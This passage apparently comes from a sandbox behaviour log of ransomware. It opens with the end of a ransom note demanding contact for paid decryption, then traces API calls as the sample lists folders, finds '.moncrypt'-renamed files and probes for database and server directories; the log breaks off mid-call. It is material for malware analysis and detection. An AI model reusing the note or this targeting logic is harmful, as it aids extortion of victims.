files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.180] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dfb9980, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dfb9980, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dfdfae0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0048.180] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0048.180] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0048.180] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.180] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.181] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.181] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.181] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.181] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0048.181] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0048.181] ReadFile (in: hFile=0x190, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0048.181] CloseHandle (hObject=0x190) returned 1 [0048.181] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0048.181] GetLastError () returned 0x12 [0048.181] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.181] GlobalLock (hMem=0x440004) returned 0x555860 [0048.181] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.181] GlobalUnlock (hMem=0x440004) returned 0 [0048.181] GlobalLock (hMem=0x440004) returned 0x555860 [0048.181] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.181] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.181] GlobalUnlock (hMem=0x440004) returned 0 [0048.182] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.182] GlobalUnlock (hMem=0x44000c) returned 0 [0048.182] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3dfdfae0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dfdfae0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.182] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.182] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.182] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.182] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.182] GlobalUnlock (hMem=0x44000c) returned 0 [0048.182] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.182] GlobalLock (hMem=0x440004) returned 0x557870 [0048.182] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.182] GlobalUnlock (hMem=0x44000c) returned 0 [0048.182] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.182] GlobalUnlock (hMem=0x440004) returned 0 [0048.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.182] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3dfdfae0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dfdfae0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.182] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.182] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.182] GlobalLock (hMem=0x440004) returned 0x555860 [0048.182] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.182] GlobalUnlock (hMem=0x440004) returned 0 [0048.182] GlobalLock (hMem=0x440004) returned 0x555860 [0048.182] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.182] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.183] GlobalUnlock (hMem=0x440004) returned 0 [0048.183] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.183] GlobalUnlock (hMem=0x44000c) returned 0 [0048.183] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.183] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dfb9980, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3dfb9980, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3dfdfae0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0048.183] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.183] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.183] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.183] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.183] GlobalUnlock (hMem=0x44000c) returned 0 [0048.183] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.183] GlobalLock (hMem=0x440004) returned 0x557870 [0048.183] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.183] GlobalUnlock (hMem=0x44000c) returned 0 [0048.183] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.183] GlobalUnlock (hMem=0x440004) returned 0 [0048.183] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.183] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x625, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32MUI.XML.moncrypt", cAlternateFileName="OFFICE~1.MON")) returned 1 [0048.183] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.183] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.183] GlobalLock (hMem=0x440004) returned 0x555860 [0048.183] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.183] GlobalUnlock (hMem=0x440004) returned 0 [0048.183] GlobalLock (hMem=0x440004) returned 0x555860 [0048.183] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.183] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.183] GlobalUnlock (hMem=0x440004) returned 0 [0048.183] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.183] GlobalUnlock (hMem=0x44000c) returned 0 [0048.183] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.184] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x9f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0048.184] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0048.184] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.184] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.184] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.184] GlobalUnlock (hMem=0x44000c) returned 0 [0048.184] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.184] GlobalLock (hMem=0x440004) returned 0x557870 [0048.184] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.184] GlobalUnlock (hMem=0x44000c) returned 0 [0048.184] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.184] GlobalUnlock (hMem=0x440004) returned 0 [0048.184] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.184] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x9f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 0 [0048.184] GetLastError () returned 0x12 [0048.184] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0048.184] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.WW", cAlternateFileName="")) returned 1 [0048.184] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.184] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.184] GlobalLock (hMem=0x440004) returned 0x555860 [0048.184] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.184] GlobalUnlock (hMem=0x440004) returned 0 [0048.185] GlobalLock (hMem=0x440004) returned 0x555860 [0048.185] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.185] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.185] GlobalUnlock (hMem=0x440004) returned 0 [0048.185] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.185] GlobalUnlock (hMem=0x44000c) returned 0 [0048.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.185] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.185] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.185] GlobalUnlock (hMem=0x44000c) returned 0 [0048.185] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.185] GlobalLock (hMem=0x440004) returned 0x557870 [0048.185] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.185] GlobalUnlock (hMem=0x44000c) returned 0 [0048.185] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.185] GlobalUnlock (hMem=0x440004) returned 0 [0048.185] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.185] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW", len=0x5b | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW") returned 1 [0048.185] GlobalLock (hMem=0x440004) returned 0x555860 [0048.185] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.185] GlobalUnlock (hMem=0x440004) returned 0 [0048.185] GlobalLock (hMem=0x440004) returned 0x555860 [0048.185] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.185] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.185] GlobalUnlock (hMem=0x440004) returned 0 [0048.185] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.185] GlobalUnlock (hMem=0x44000c) returned 0 [0048.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@呀U吔U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0048.186] GetLastError () returned 0x3 [0048.187] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.187] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0048.187] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0048.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@卜U企@\x18䁼Q\x181")) returned 0xffffffff [0048.187] GetLastError () returned 0x2 [0048.187] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.187] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0048.187] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0048.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@∜R企@\x18?T\x18;")) returned 0xffffffff [0048.188] GetLastError () returned 0x2 [0048.188] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0048.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0048.188] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@册U企@\x18?T\x18D")) returned 0xffffffff [0048.188] GetLastError () returned 0x2 [0048.188] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0048.188] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0048.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@卜U企@\x18∜R\x18j")) returned 0xffffffff [0048.189] GetLastError () returned 0x2 [0048.189] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.189] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0048.189] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0048.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@琬T企@\x18?T\x18q")) returned 0xffffffff [0048.189] GetLastError () returned 0x2 [0048.189] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.189] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\∘RĀ") returned 6 [0048.190] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0048.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@呤U企@\x18?T\x18y")) returned 0xffffffff [0048.190] GetLastError () returned 0x2 [0048.190] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\") returned 0x5c [0048.190] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69990, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0048.190] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a30, ftLastWriteTime.dwHighDateTime=0x0, 